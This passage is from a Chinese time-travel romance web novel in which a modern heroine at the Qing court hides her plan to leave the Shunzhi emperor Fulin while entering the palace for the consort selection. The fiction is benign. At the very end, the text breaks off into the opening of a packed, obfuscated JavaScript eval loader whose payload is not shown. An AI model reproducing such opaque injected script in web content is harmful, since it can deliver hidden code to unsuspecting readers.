安齐修可以是董浣浣一个人的,可是爱新觉罗.福临是天下人的。 董浣浣看向福临的眼睛很认真的回答道:“嗯,我相信你。” 我相信你可以平衡好内宫与前朝之间的关系,相信你可以实现你的抱负和理想。 可是我也是个自私的人,哪怕只有万分之一的可能,也想试一试,带你走,离开这里的是是非非。 如今这万分之一的可能也不存在了,就只能按照第二套方案来了。 希望那一天到来的时候,请不要怪我的自作主张。 就是因为太相信你了,所以我才要找人仿冒了阚先明的字迹写了这封信。 既然你不能和我一起走,那就只能我来远离你了。 你有理想有抱负,有能力也有手段,所以我不可以成为你的软肋,成为你实现这一切的绊脚石。 阚先明的那封死谏信,我会转交给你的,只是需要更好的时机,发挥它最大的用处。 想到这儿董浣浣心里有些不是滋味,从现在开始,她就要努力学着成长,学会不动声色的骗他了。 福临轻轻的摸了一下她的头顶,轻笑着说道:“记住,所有的风浪都由我来抗,你只需要躲在我身后继续做你喜欢做的事情就好。” 董浣浣微微的点了点头,轻声的又“嗯”了一声。 福临听到她的回应,满意的勾起了唇角,随后便打开了回忆之门,开始了漫长的讲述。 “我第一次见到他是在一个戏院里,是洪师父带我去的……” 他口中的洪师父难道就是那个历史鼎鼎有名,每个讲述清朝这段历史的电视剧都要提到的那个被孝庄太后招降最后成为福临老师的那个明朝将领洪承畴吗? 董浣浣在心里忍不住的琢磨,却没出声去询问福临,而是耐心的听他讲完所有的故事。 这是她还能为他做的为数不多的事情,更何况以后也许就没有办法能够像这样两个人单独在一起,完完整整的听他讲完一段过往了。 当下的每一分每一秒都需要格外的珍惜。 董浣浣抬头看着他的眼睛,很认真很认真的听着他的讲述。 一个时辰过后,董浣浣终于福临那儿听到了完整版的他和阚先明的故事。 原来阚先明和八大仙人一样也是明朝后人。 他们和电视上的明朝后人一心复国不同,八大仙人追求的艺术上的造诣而阚先明追求的是自己谋略的施展,以及对天下大势的掌握。 这样的人,一般心气儿极高,是不会轻易为人所用,但他一旦决定为你所用,就会做好连命都豁出去的准备。 福临能够得到他的拥戴和辅佐,品行和能力自是不用多说了。 董浣浣相信,只要离开她这个绊脚石,他一定可以完成他的帝王霸业,弥补那些因为思念董鄂妃导致他早逝而来不及完成的遗憾。 安齐修讲完之后两个人很长时间都没有说话,只是默默的站在阚先明的坟前,看着这座连墓碑上都不能刻字的坟冢。 冬天的晚风吹在人的脸上有些凉,又过了许久,福临瞥见董浣浣被冻的有些发红的小脸儿,拉起董浣浣的手说道:“天色不早了,我们走吧。” 董浣浣点了点头,说了声:“好。” 临走前董浣浣和福临两人对着阚先明的坟头,深深的鞠了一躬。 董浣浣在心里对阚先明说道:放心,你的信我会在最合适的时机帮你转达,不会让你的心血白费。你和他的抱负都会实现,我绝对不会成为他的软肋,做你和世人眼中的红颜祸水。 然后拉着福临伸过来的手,随他一起离开了。 时光飞逝,一切都按照历史的轨迹前进着。 多尔衮刚死的时候那种“普天哀痛”的场景已经不复存在,取而代之的是削除封号爵位,取消庙堂谥号,没收家财,甚至把他的尸首从坟冢中挖出来暴晒…… 声讨多尔衮的罪行俨然成了政治正确了。 董浣浣不知道多尔衮在福临幼年的时候到底做了多少她所不知道的事情,给他的心理造成如此大的阴影,以至 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历史自是不必说了,目前八旗各部暗自给他使绊子的事情,她也从阿玛和别人的谈话中了解了一些,满蒙联姻得到蒙古的支持,是他扭转目前被八旗各部制衡唯一的出路,更何况孟古青和他又是儿时定好的娃娃亲,大婚本来也是顺理成章的事,如若悔婚定会得罪蒙古各部,福临面临的局面更会是雪上加霜。 所以此时看似是王朝主宰的他,已经是别无选择了。 董浣浣真的特别讨厌这样的自己,明明知道无论他怎样挣扎了最后都不得不娶孟古青,却还要笑着装作配合他,和他一起努力的样子。 算了,董浣浣很快就想开了,只要是能让他平平安安的活在这个世上去实现他的抱负,他的理想,做个连自己都讨厌的人,她也无所谓。 紫禁城。 福临处理完最后一份奏折,伸展了一下双手,又揉了揉太阳穴。 连日来因为多尔衮的事情,各路奏折层出不穷,皆以声讨定罪为主。 虽然多尔衮的死,让他终于把这么多年憋在心里的那口气发泄了出来。 可是现在事态却变得越来越不可控起来,这群老家伙简直是在趁火打劫,还要把黑锅甩给他背。 多尔衮固然有错,可是这样声势浩大的去处罚一个曾经为大清立下过汗马功劳之人,只会让天下臣民觉得他这个君主小肚鸡肠,过河差桥。 只不过他现在根基未稳,不能正面与他们冲突,韬光养晦一段时日方为上策。 待他日他站稳脚跟,再来一一收拾他们也不迟。 其实他一直没有想明白为什么阚先明会在古北口外刺杀多尔衮,这和他们原定的计划不符。 多尔衮在这个时候死了,对于他们来说有百害而无一利,只会让他处在如今这种被动的局面,以阚先明的智谋怎么会想不到。 他问过额娘和洪师父,二人皆否认这件事情与他们有关,他也只能选择相信。 这件事情终将成为他这一生中难以解开的疑团了。 70. 进宫 吃过早饭离开家,董浣浣就正式踏上了选秀女的征程。 一路上董浣浣在车里都表现的像一个大家闺秀似的得体,而鄂硕骑着马走在前面也不负所望的表现的像一个武将似的威严不苟言笑,就好像之前在饭堂发生的一切都只是幻象而已。 很快一行人来到了目的地,皇宫。 马车在神武门外停了下来,按照规定,亲属只能送到这里,接下来会有掌事太监引导她们从侧门进宫。 董浣浣在紫鸢的搀扶下从容不迫的从马车上走了下来。 鄂硕从马上下来,走到董浣浣的面前,嘱咐她道:“在宫里万事小心,好好照顾自己。” 该说的在家里已经说过千遍万遍了,周围也都是各家前来送女儿的人,王公显贵人多嘴杂,也实在是不便于在表现些什么了,鄂硕又象征性的交代了她几句话,便去帮她打点管事公公了,顺便给了她和紫鸢小柒道别的时间。 鄂硕一走开,待在一旁憋了好久的小柒眼泪刷的一下便掉了下来,抱着董浣浣的腰,哀求道:“小姐,我想陪你一起去,我不想和你分开!” 董浣浣摸摸她的头,安慰道:“乖,别哭,等等我,你放心,等我把一切都处理好了,就把你接去和我一起住。” 小柒闻言抬起头,有些不相信的确认道:“你说的是真的吗?” 董浣浣点头,“我答应你的就一定会做到,你乖乖的回家等着我的好消息。” 小柒稍稍安了下心,乖乖的点了点头。 紫鸢在旁边看到这一幕也红了眼眶,把小柒从董浣浣的身上扯了下来,责备道:“这来来往往多少只眼睛在盯着我们看呢,别这么没规矩,小姐是去选秀女,这是好事,干嘛哭哭啼啼的。” 说完从腰包里掏出了一些几粒金豆子悄悄的塞给董浣浣,“宫里用钱的地方肯定很多,小姐这是我在府中做工这么多年攒下来的私房钱,虽然不多,您别嫌弃,拿着以备不时之需。” 董浣浣看着手中的钱有些感动,这可是一个女孩的全部身家啊,她何德何能被她如此倾囊相授。 董浣浣一手搂过紫鸢的肩膀,另一只手把那几颗金豆子又塞回了紫鸢的腰间,感董浣浣感受到了紫鸢想要再次把金豆子拿出来给她的意图,用手轻拍了一下紫鸢的手背,在她耳边说道:“乖,收好钱,乖乖在外面等我的好消息,放心吧,我不会抛下你们不管的。” 话音刚落,只听见一声清咳,鄂硕已经打点完公公,走到了她们面前。 董浣浣和紫鸢闻声转过头去看向鄂硕,鄂硕整理了一下面部表情,对董浣浣说道:“这位是李顺德,李公公,是负责以后你们生活起居的,待会你就跟着他进去就好。” 董浣浣闻言,规规矩矩的和李公公做了个揖,“李公公好,以后多有麻烦了。” 李顺德见状有些惶恐的赶忙伸手去扶她起身,“浣姑娘,您请起身,以后您们都是主儿,这样做太折煞奴才了。” 虽说在皇宫里待久了,漂亮话场面话说的太多了,一张嘴很难让人听出来真心,不过这句话他可是用了十足十的真心。 虽说秀女这么多最后能做上主子的没有几个,可是别人最后能不能成主儿他不知道,浣主子一定是可以的。 她可是皇上的心尖子。 师父当时是这样给他说的。 要问他师父是谁? 皇上身边的大红人儿,吴良辅。 就连皇上出宫微服私访都带着他。 这身份,这地位,宫里还能有哪个太监能和他相比。 只不过他师父一直不爱张扬,也不让他张扬,说是在宫中他们做太监的就得夹着尾巴做人,他一直谨遵师父的教诲,在人前一直谨小慎微的。 所以就这层关系,别人不知道浣主子的身份,他李顺德能不知道浣主子什么身份吗。 他这次来储秀宫当管事的,全是托了浣主子的福,师父特意把这伺候秀女的差事交给他,就是为了让他能随时帮浣主子解决难题。 这差事要是办好了,以后他在宫中的日子一定会更加平坦。 董浣浣和鄂硕一行正式拜别后便由李顺德领路进了宫。 虽然前路艰难,接下来的日子一定不会太平,但是这些依然影响不了她此刻的好心情与好奇心。 《汉乐府》有诗云:及时行乐嘛。 不用买门票就能进紫禁城的感觉真的好新奇,还有这处处鸟语花香亭台楼阁还没有乌央乌央的人群的参观体验也让人感觉很舒服。 一瞬间董浣浣感觉自己就像是刘姥姥进了大观园似的没见过世面。 虽然她自从穿越过来已经不知道“刘姥姥”几回了。 可是这并不影响她继续“刘姥姥”下去。 这一路下来,董浣浣还有一个发现,就是这李顺德的话是真的多。 一路上走走停停事无巨细的讲解着,声音和语速让人听起来很舒服,没有烦躁感。 董浣浣忍不住心想,这个人如果生活在现代也一定饿不死,是个很不错的导游的苗子。 “你们都是一个人接待一个秀女,专门引路的吗”,董浣浣忍不住的问道。 她刚刚在门口的时候就观察了一下,负责接待的太监人数并不是很多,这么多的秀女他们是按照什么样的标准给引路的,不会只有她一个人是被这样一对一领进来的吧? 她可不想被特殊化对待。 以她的经验来说,在群体活动的时候搞特殊,如果被其他人知道了,最后一定会被针对的很惨,她可不想做这个出头鸟,可怜虫。 “当然了,浣姑娘,我们这边对所有的秀女都是一视同仁的,奴才很荣幸能够给您带路。”,李顺德恭敬的回答道。 “那就好,那就好”,董浣浣轻轻的拍了拍胸脯,安心了。 终于在兜兜转转之后,董浣浣被李顺德领到了一个地方。 抬头一看,虽然她的古文在恶补之下还是有限,可是这三个字和"储秀宫"三个字她还是可以区分出来的。 XX宫,这是个什么地方? 董浣浣有些害怕,电视剧里其他家族的人想搞死一个人,通常最容易买通的人就是公公。 她这刚刚开启选秀女副 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这个太监就是福临派去储秀宫安插在她身边的。 他可真是大胆,在这选秀女前夕的关键时候,居然让人就这么的把她叫到了这里,就不怕被别人发现,说他的不是? 转念一想,算了,他是皇帝大胆本来就是他的权利。 再说了,选秀女最重要的一点就是全凭他的心情。 是她狭隘了,把一个皇帝见一个秀女设想成搞地下情的狗男女了。 只不过他心情好了,她接下来的日子好像就不那么好过了。 还好,他还知道点分寸,有为她着想,没有直接杀到储秀宫当着所有人的面去找她。 不然这皇宫她真是一分钟都没办法待下去了。 只希望他们这次的保密工作做得好,她还不希望一进宫就变成了被针对的对象。 不过既然话都已经说开了,当着奴才的面,董浣浣也不好反驳扫了他的皇威,只能硬着头皮走了进去。 李顺德迈着小碎步走在前面引路,董浣浣望着他的背影,心情很忐忑。 一方面是因为她已经有两个多月没有见到他了,另一方面这是她第一次在皇宫里见到穿着龙袍的他。 李顺德在一个房间里示意董浣浣停下,然后敲门,里面很快就传来了一声:“进来。” 李顺德把门推开,冲着董浣浣招了招手,小声的说道:“浣主儿,皇上让您进去。” 董浣浣此刻紧张极了,她甚至都无法形容自己此刻到底是一个什么样的心情。 害怕吗? 不是。 他是她的爱人。 不害怕吗? 也不是。 他可是货真价实的皇帝。 不过已经是事到临头了,她也没有时间去想这么多了。 硬着头皮走了进去。 只听见背后吱呀一声,李顺德从后面把门关上了。 董浣浣一抬头便看到那张她熟悉的脸。 72. 浣,安 他举着戒指等在那里,董浣浣却迟迟没有做出反应。 许久,福临像突然想通了什么似的,松开了董浣浣的手,叹了口气站起身来,拍了拍膝盖上的灰尘,又整理了一下袍子。 算了,算了,她最近都这么的乖乖听话了,就不逼她这么紧了。 董浣浣余光瞥见了他的动作,悄悄的咽了一下唾沫,呼出了一口气。 福临收拾完,看到她的那个如释重负的样子,无奈的笑了一下,这样放过她似乎又有点太便宜她了。 于是他从新拉过董浣浣的手,作势就要把戒指套入她的手中。 他本来只是想要逗逗她,但当董浣浣真的缩手的时候,他承认他的心还是咯噔了一下。 这些天据他派去保护她的探子来报,她每天都很乖的在家里学习琴棋书画以及各种规矩,按理说她这么乖他已经高兴才是。 可是他却高兴不起来,她越乖,他越觉得事情没有他表面上看到的那样简单,毕竟乖从来都不是她的作风。 算了,只要她愿意待在他身边,其他的事情以后有的是时间去沟通。 董浣浣也不知道自己是怎么了,明明这时候应该一切都顺着他才是,脑子是这样想的,身体却条件反射般的想要抽回手,只是还没等她抽回去,就被福临生生给拉住了。 调整好自己的情绪之后,福临笑着开口道,“你别紧张,我知道你现在还没有做好心理准备,今天只是让你试试尺寸是否合适,这戒指是我回宫前专门找人给定制的,你我二人一人一个,”,边说边将戒指套入她的无名指中,“本来是想给你一个惊喜的,看来是惊吓大于惊喜了……” 董浣浣被他这一番话搞得有些无地自容,愧疚感充斥着她整个心房,她抬起头看向福临,怯生生的从嘴里吐出了几个字,“对不起,让你难过了,我只是还没有准备好。” 福临拉着她的手摇了摇头,笑着道:“你放心,以后所有的事情,我都不会逼迫你,人的一生很长,所有的事情我们可以慢慢来适应。” 董浣浣乖乖的点了下头。 “刚好”,他拉住董浣浣的手,左右端详了一下,满意的点了点头。 董浣浣低着头看向无名指尾端的那枚戒指,红玉似血,除了三条简单的波浪线,再无其他的花样。 据她的了解,古人在戒指上一般会刻些吉祥的字,情人之间会刻些象征着真情的图案或者字,他特地让人定制的戒指,一定有他的用意在,所以这三条波纹是啥意思呢? 董浣浣抬起手,把戒指亮给他看,一脸不解的问道,“这花纹是有什么含义吗?” 福临闻言笑了一下,“你不了解它的含义是因为你没有看到全部的内容”,说完伸出自己的左手,与她的并排在一起,“这么看是不是就很清楚了。” 董浣浣这才看到他的左手无名指上也戴了一只红玉做的戒指,看上去无论是质地还是款式和他给她的那只几乎一样,只是戒指上的刻字不同而已。 “看明白了吗?”,他问。 董浣浣点了点头,“嗯,明白了。” 他的戒指上刻的是个“完”字,结合两个戒指来看,董浣浣戒指上的那三条波浪线也并不是波浪线,是偏旁部首“氵”,合起来就是她的名字,“浣”。 董浣浣感觉自己的眼泪此刻正在不争气的在她的眼眶中打转。 这个人为什么要对她这么好,为什么总是有办法惹她哭呢。 你可是高高在上的皇帝啊,为什么要为了她这样一个微不足道的女人,做到如此地步啊?! 福临,你知道吗,你这么好,会让我舍不得离开你的…… stop! 停! 不能再放任自己下去了。 董浣浣你要坚强,要坚定自己的想法,为了他,你不能哭,绝对不能心软! 可是说起来简单做起来好难啊,尤其是看到他这张脸,她怎么能狠下心去做那件事呢。 福临看到她这一脸纠结的样子,摸了摸她的头,柔声道:“看明白了就好,有些事情,你想不明白就不要去想,交给我就好,所有的事都有我呢,你只需要每天开开心心的就好。” “来,看着我的眼睛,告诉我,明白吗?”,他问。 董浣浣听话的抬起头,看向他的眼睛点了点头,“明白了。” 然后低下头去看着眼前并排的一双手,手指轻轻的在两个戒指上摩挲,真的好想多戴一会儿啊。 福临觉得在她面前的自己太不像自己了,有些太过于絮叨。 究其原因,是因为董浣浣让他太缺乏安全感了,太患得患失了。 朝堂之事只会让他心烦而已,和洪师父他们一起商议,总会想到解决的办法,只有他的姑娘会让他如此心慌,如此的束手无策,不知该拿她如何是好。 尽管他一遍又一遍的叮咛,尽管她一遍又一遍的点头答应,可是从她的神情背后,他还是可以感觉到她的纠结,她的犹豫,甚至是疏离。 以前在宫外的时候,她整个人就像是一张白纸,所思所想完全在他的掌握下,如今她开始有了不能和他说的秘密,而这个秘密很可能还与他相关。 无论他怎样旁敲侧击的询问,她都不愿松口,像个听话的孩子一样,乖乖的配合着他想要她配合的一切行动。 她越是这样他越觉得不安,却又不敢强硬的去逼问她,生怕一个不小心让她感到委屈。 对,他不敢去问她! 自从知道了他的身份以来,在他面前她开始变得小心翼翼,变得谨小慎微,他不能再拿身份这事再去刺激她了。 皇帝这个身份让他失去的已经够多了,他不能因此再失去她了。 “知道了,就好。”,福临低喃。 然后向她伸出手去,“先把它摘下来给我吧,我帮你保管,你参加选秀,带着它太过招摇了,会引起不必要的是非。” 是啊,戴着和皇帝一样的戒指,不出一天她就会成为秀女中的异类,成为她们的眼中钉,肉中刺。 听到他这样说,董浣浣听话的将戒指摘下来,递给他。 福临接过戒指,“这戒指我先替你保管着,等到我们大婚的时候,再给你戴上。” 他们大婚的时候再给她戴上? 这当然好了。 只不过他们有大婚的那一天吗? 董浣浣暗暗的想。 福临将戒指收好,从新躬下身来,与她平视,“我知道有些事你还没有想明白,也不便于和我说,我等你,希望在我们大婚的时候,你可以准备好把自己 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就那么浅尝辄止的一下,快得她都来不及反应,他就离开了她的唇。 虽然但是,这是她的初吻啊! 无论是灵魂还是□□的初吻啊! 就这么毫无征兆的被他给夺去了? 他不是皇帝吗,怎么可以如此的轻佻,问都不问她一下? 不对,他问了,她也答应了…… 啊,啊,啊,董浣浣感觉自己快要疯了…… 虽然在现代她已经是一个年满18周岁的成年人了,可是接吻这事她还是第一次,完全没有经验可谈。 董浣浣被他弄得又羞又臊,只觉得她浑身的血液一瞬间都涌入到了她的脑门,小脸涨的通红。 她一只手捂住被亲过的嘴巴,一只手指着安齐修,“你,你,你”了好几声,也没“你”出个所以然来。 福临抓住那只指着他的手,抬眉看向她的脸,笑着问:“我怎么了?” 董浣浣用眼睛狠狠的瞪了他一下,然后低下头不说话了。 她这一动作,在福临的眼里完全没有杀伤力,反而是另一番解读,这完全就是小女儿的娇嗔。 福临看着她的头顶,笑了下,松开了她的手,从脖子上掏出来一个坠子,和董浣浣说道:“这个吊坠和两枚戒指出自同一块玉,你戴着它,就像是我时时刻刻都陪在你身边一样,可保平安。” 董浣浣闻言抬起头的同时,吊坠就被戴到了她的脖子上。 董浣浣拿起胸前的玉坠看了下,镂空型的简简单单的一个“安”字,与戒指合起来就是“浣,安。”,取意,保佑董浣浣平安的意思。 而且整个玉坠是和戒指完全不同的橘黄色,完全不扎眼。 看上去,简单,普通,又有足够的寓意,而且不会引得旁人不必要的遐想。 怪不得不让她戴戒指,却让她明晃晃的戴条吊坠。 “怎么样,喜欢吗?”,他问。 董浣浣点了点头,“喜欢。” 爱新觉罗.福临,我真的好喜欢,好喜欢你啊,喜欢到为了你可以杀了我自己! 73. 表妹 “浣主子,您走慢点,等等我……”,李顺德冲着董浣浣的背影呼喊道。 董浣浣闻声停下脚步,转过身来,才发现她已经把李顺德甩出老远了。 没办法,是她太心急了,心急的想要离开那个地方,她害怕再和福临多呆一会儿她会心软,会情不自禁的想要告诉他,她的所有真心。 在得到他的允许后便头也不回的离开了那里,像被恶狗追似的拼命往前走,此刻看着追她追的有些狼狈的李顺德,董浣浣有些内疚,“抱歉了李公公,是我太莽撞了。” 李顺德快跑了几步才算跟上她。 董浣浣深吸了一口气,恢复了她“优雅”的表象,做了个请的手势,“麻烦李公公带路了。” 李顺德走到董浣浣跟前,拱手道:“浣主儿,真是折煞奴才了。” 要说,这位主子的性格也太奇怪了,李顺德实在是不能理解这位主子的喜好。 皇宫这么大,当皇上问她想要去哪转转,让他来给领路。 然后浣主子居然说想要去冷宫转转。 冷宫是个什么地方? 李顺德不明白。 皇宫这么大,他还从来没有听过有这么个地方。 皇上当时也不明白。 经过了浣主子一番解释之后,皇上就让他带着浣主子来到了这里。 “皇上跟您说的您都记住了吗?” 李顺德亦步亦趋的跟在董浣浣的身后,不厌其烦一遍又一遍的在她耳边叨叨着。 不就是为了她不被其他秀女针对,福临并没有让教养嬷嬷以及其他人员知道他们之间的关系,在储秀宫她会得到和其他秀女一样的待遇。 不就是让她遇事少出头,遇到不能解决的困难就联络李顺德,他会给解决,解决不了的由他告知福临来给解决…… 不就是让她在培训期间不要调皮捣蛋吗…… 主子奴才各交代一遍还不够,李顺德这都跟着她提醒了一路了…… 董浣浣被李顺德这样祥林嫂般的一遍又一遍的问话,问的有些头大,完全没有猎奇的心情了。 索性停住脚步,转过身去看向他,先是很认真的和他保证道:“知道了,知道了,你就放一百个心吧,李公公。”,然后又略带威胁的“恐吓”道:“还有你这样絮絮叨叨的说一路,就不怕万一隔墙有耳,被别人听了去。如果被人听了去,坏事的就不是我了,是你了,李公公。” 李顺德被她忽然的转身吓了一跳,差点没站稳,接着听到她的“恐吓”,吓得直接“噗通”一声跪在了地上。 不好,玩脱了…… 董浣浣看到形势不妙赶紧伸手去扶他,急忙安抚,“好了,好了,逗你呢,赶紧起来,告诉你家主子,我向他保证,这期间我定会安静如鸡,绝对不会惹是生非的,这样可以了吧?” 李顺德哪敢让她扶,见到她伸手的那一刻,迅速的站起身来,拱手道:“谢浣主子体谅。” “还有,浣主子以后能不能不提那个字,”,李顺德有些为难的开口,“有些不雅……” “哪个字?”,董浣浣一时间没有反应过来,看到李顺德的表情又很快的反应过来了,不就是“鸡”嘛,有啥不雅的,古人真是穷讲究,算了,不说就不说呗,“好的,我答应你,以后都不再说不雅之词。” “所以从现在开始,可以不要一直重复那些问题了吗?”,董浣浣问。 “奴才遵旨。”,李顺德拱手道。 听到他这话,董浣浣满意的转过身去。 一番交流后的李顺德,在得到了她的承诺之后,真的是做到了安静如鸡,除非董浣浣开口问,否则绝对不开口多说一个字。 两人走到一处空地处,董浣浣逛的有些累了,便停下来准备休息,抬头不经意间看到了一只风筝。 董浣浣指着天上的风筝问道:“李公公,这不是冷宫嘛,怎么还会有人在这里放风筝呢?” 李顺德惯性的抬头看了一眼风筝,然后迈着小碎步跑到董浣浣面前解释道:“回浣主子的话,这是从科尔沁来的海日格格放的风筝,她最喜欢放风筝了,几乎每天都去御花园放风筝,今天不知道怎么跑到这里来了,”,末了又怕董浣浣不够了解李顺德还贴心的补充了一句,“海日格格也是皇上的表妹。” 这个“也”用得很是灵性,董浣浣看了李顺德一眼。 孟古青是表妹,这个海日也是表妹。 表妹,表妹,怎么又是表妹,他怎么有这么多的表妹啊,这后宫以后不就变成“表妹开会了”。 孟古青是皇后,这个叫什么海日的以后又是什么妃啊? 本来以为自己早已看淡一切的董浣浣,此刻却因为“表妹”这两个字吃起醋来。 然后越想越觉得委屈…… 这两个字就像是一个引子,引出了一直以来她刻意装作不在意,其实很在意的一种名为“不满”的情绪。 虽然知道他心里只有她一个人,虽然知道他是皇帝,注定会有佳丽三千,虽然知道这些人历史书本上都白字黑字记载的清清楚楚的,不可肆意涂改。 可是直到这时候,她还存有幻想,存有奢望,希望可以和他“一生一世一双人”。 可是,“可是”也只能是“可是”,终究是成为不了现实,她可以为他从历史上抹掉一个“董鄂妃”,却不能够自私的让他为了她把所有的人都从历史上抹去,去颠覆整个历史。 所以她一直洗脑自己要大度,要学会去适应历史,要学会不在意。 一直以来她也都做得很好。 可是刚刚那短短的两个字,打破了她一直以来自欺欺人极力去粉饰的太平。 明明她应该不在意的,明明是那么普通的两个字,甚至都不是从他嘴里说出来的,不知道为什么,她却突然控制不了自己了。 一行清泪,从眼前滑落。 在这不合时宜的地方,在这刚刚认识的陌生人面前。 她突然就忍不住了。 在家怕父亲担心,出门怕紫鸢担心,到了皇宫又害怕福临担心,她一直憋着,这时候却突然憋不住了。 她这一哭可吓坏了站在她旁边的李顺德,把皇上的心尖子给弄哭了,这是多大的罪过,这要是让皇上知道了,他有十个脑袋也不够砍的,虽然这里不常有人来,可是不怕一万就怕万一,万一被其他人看到他怕是长了十张嘴也无处喊冤了。 虽然也不知道自己是什么地方做错了,但是惹哭了浣主子,下 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小姑娘小心翼翼对着那只手给她吹了吹风然后问,“好点了吗?” 董浣浣点头,“好多了,已经不疼了”,然后环顾了一下四周,没看到其他人,“你叫什么名字啊,怎么就只有你一个人啊,你的家人呢?” 小姑娘听到她的提问挠了挠头,左看看右看看,最后把目光定在了董浣浣的脸上,“我叫海日,我的风筝挂在那边的树上了,木仁去找人帮我捡了。”,边说边指了指不远处的那棵树。 原来她就是传说中的海日格格啊,看她这么小的年纪,怎么看也不是来参选秀女的啊。 董浣浣将目光转向李顺德想要一个解答,这才发现李顺德不知道什么时候跪在了地上。 董浣浣赶忙伸手去扶李顺德,“抱歉啊李公公,刚刚是我失态了,你别介意。” 李顺德此时才敢起来,“浣主子这话严重了,是奴才照顾不周,您不责怪奴才,奴才就很感恩了”。 说完又转过身又冲着旁边海日揖了揖手,“奴才给海日格格请安,海日格格吉祥。” 董浣浣听到他这样说心里很是不好受,正准备在说些什么的时候,海日又拽了拽她的衣角,对她说,“姐姐,你可以帮我把风筝拿下来吗?” 被她这么一打断董浣浣自是也不好在接着说些什么了,便把海日的要求行程了下来,“好,我帮你取下来。” 这对话可把李顺德给吓得不轻,要是浣主子在他照看期间出了啥事,他的小命算是交代了,“浣主子这太危险了,那棵树这么高,万一伤着你就不好了,还是让奴才去找人帮忙给取下来吧!” 董浣浣听完笑了笑,想当初她还是因为爬树才和福临认识的,这棵树难不倒她的,“没关系的李公公,你放心吧,我可以的。” “可是、、、、、、”,李公公还是不放心,想要说点什么。 海日才不管他的反对呢,还没等他把话说完,便拉着董浣浣的手便往那棵树的方向走去。 李顺德没办法,也只能赶紧跟上,事到如今他才真正理解了师父为啥要把这“美差”交给他了,师父这是要测试他活的够不够久啊! 75. 入住储秀宫 李顺德把董浣浣送到距离储秀宫不远的地方,趁着四周无人之际,又再三的向董浣浣叮咛一些有的没的,俨然一副送孩子上学的家长模样。 董浣浣望着李顺德喋喋不休的样子,一种熟悉的感觉扑面而来,曾几何时,爸爸妈妈第一次送她住校的时候也是这个样子,唠唠叨叨个没完,那时候只觉得父母真是太大惊小怪了,又不是再也见不到了,至于这么没完没了的吗,便着急忙慌的像赶苍蝇似的把他们匆匆的给赶走了,现在想来是自己当初真是太不孝顺了,如果当时自己能够耐着性子多听听他们的唠叨该多好啊,以至于如今她想听,却再也没有机会了。 一想到这儿,董浣浣有些感激的握住了李顺德的肩膀,用着无比真诚的目光看向他,“李公公,谢谢你。” 谢谢你这个陌生的时代,这高墙围栏中,给了我亲人般的叮咛。 本来还在喋喋不休的李顺德被她这一举动吓得像一只受惊的猫儿一样,噗通一声跪在了地上,“浣主子,这可使不得,使不得”,说完急忙往周围看了看,确定没人后才低下了头。 董浣浣看到他这个样子,赶忙在眼前挥了挥手,把就要溢出眼眶的眼泪,硬生生的给憋了回去,然后深吸了一口气,拍了一下李顺德的肩膀,扯出一丝笑容说道:“抱歉李公公,是我逾矩了。我只是因为突然有点想家,想我阿玛和额娘了,难为你了。” 想家? 李顺德缓缓的抬起头,面露难色,这事有点难办…… 皇上吩咐过了,只要是浣主子吩咐,不管什么事情,都要满足她,别的事情都好办,只是想家……难道他要把浣主子送回家吗? 董浣浣看到李顺德一脸为难的样子,才发觉她找个的这个借口也不是很好,只会让李公公更加的难办,于是急忙补充道:“没事的李公公,我只是发发牢骚说说而已,你不必记挂在心上,我会自己慢慢适应的”,然后伸出手,做了个请起的动作,“这地上太硌了,李公公你别跪着了,赶紧起来吧。” 李顺德闻言道了谢之后,便起了身。 “李公公我能不能给你商量件事啊?”,待李顺德站起身之后董浣浣问。 李顺德拱手道:“浣主子客气了,您和奴才有什么商量不商量的,有事您直接吩咐奴才就好了。” 董浣浣提议道:“我想说以后私下没有外人的时候,李公公你能不能不要对我这么客气,我们可不可以像朋友那样自在的相处呢?”,她实在是适应不了宫中这动不动就下跪的规矩,还有一个更重要的原因就是她想要结交李顺德这个朋友。 都说防人之心不可无,可是仅仅是半天那么短的时间,董浣浣就得出了一个结论,眼前的这个人是个可交之人。 虽然她也曾小人之心的想过,这个人也许只是在她身上押宝,为自己的将来铺路,毕竟他知道她在福临心中的分量,但是这个想法很快又被她自己给否决了,因为她可以感受到这个在宫中摸爬滚打了这么些年的人在今天给了她足够的善意,而非阿谀奉承。 虽然董浣浣知道李顺德知道她在福临心中的分量非同一般,但是依照眼前的朝中形势不知道选秀是为她铺路的明眼人都能看出来她势必是做不了皇后的,如若福临硬推她做皇后估计也落不到好下场,先不说皇后,如若太后和朝中重臣阻拦她将来能不能被封妃也未可知,即使是当了皇妃,以她在福临心中的地位势必会引来各方的刁难,跟着她必定有百害而无一利,这些她能想到的,李顺德当然也能想到,在宫中形势如此不明朗的情况下,以他多年的宫中经验自然也会明白此刻明哲保身才是上上策,而非刻意与她交好。 在皇宫这个吃人不眨眼的地方,能够遇到一个真心待你的人真的是很难得,虽说他们的相处时间并不会太长,但是董浣浣还是想要结交这个朋友。 说是交朋友,其实董浣浣也有自己的私心在,以后要是能如她所愿的出宫了,想要了解福临在宫中的情况最好的办法就是在宫中留有自己的眼线,公公和宫女自然是最好的选择,而且拒她观察这个李顺德与其他人比起来,似乎更能接触到福临,是优选中的优选。 既能近距离的接触到福临,又愿意与她交好,这样恰到好处的人,简直是上天特意为她派来的绝对不能错过的存在。 听了董浣浣的话,李顺德慌忙摆手道,“浣主子这可使不得,奴才怎么可以这么僭越和您做朋友呢。” 听到李顺德的回答,董浣浣忍不住的在心里感慨道,哎,是她太心急了。 不过没关系,她还有时间慢慢来,想要取得别人的信任不能急于一时,在接下来的日子里她一定可以让李顺德成为她的朋友的,顺便在看看能不能找到其他的眼线,以备不时之需。 董浣浣见他这个态度,把之前准备好的说辞又咽了回去,改口道:“那就这样吧,没事了,我们走吧”。 李顺德得令,“好的,浣主子。” 看着董浣浣转身的背影,李顺德心里有些犯嘀咕,他刚刚那样回答是不是很不好,让浣主子心里不舒服了,可是让他和主子做朋友,万一让其他人看到告到上面他有几个脑袋恐怕也是不够砍的。 算了,这件事先搁到一边,以后等到浣主子进了宫有的是时间来处理这个问题,目前最重要的是该如何帮浣主子处理好在宫里的生活问题,想家这是人之常情,可是浣主子这才刚刚离开家就开始想家了,这以后的日子该怎么办呢。 虽说浣主子说了让他不必记挂在心里,不过浣主子既然已经说出口了,自然是不能不在意的,李顺德在心里盘算了一下,还是觉得晚上回复复命的时候,和皇上回禀一下这事比较好。 终于还是走到了这里,董浣浣看了一眼“储秀宫”三个大字,深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 